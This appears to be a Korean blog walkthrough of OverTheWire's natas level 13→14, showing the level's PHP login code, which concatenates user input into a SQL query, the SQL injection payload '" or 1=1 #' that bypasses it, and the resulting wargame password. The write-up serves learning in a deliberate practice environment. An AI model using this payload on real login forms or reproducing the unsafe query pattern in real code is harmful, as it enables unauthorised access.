Over the Wire/natas

[OvertheWire : natas] level 13 → 14

ruming 2021. 5. 29. 04:31

로그인같은 입력칸이 있다. 아무거나 입력하면 access denied! 가 뜬다.

 

소스코드 확인

(중략)
<h1>natas14</h1>
<div id="content">
<?
if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas14', '<censored>');
    mysql_select_db('natas14', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    if(mysql_num_rows(mysql_query($query, $link)) > 0) {
            echo "Successful login! The password for natas15 is <censored><br>";
    } else {
            echo "Access denied!<br>";
    }
    mysql_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

sql injection 문제이다.

 

기본적으로 or 1=1을 하고 뒤를 주석으로 날려줬더니 간단히 클리어했다. 

" or 1=1 #

 

AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J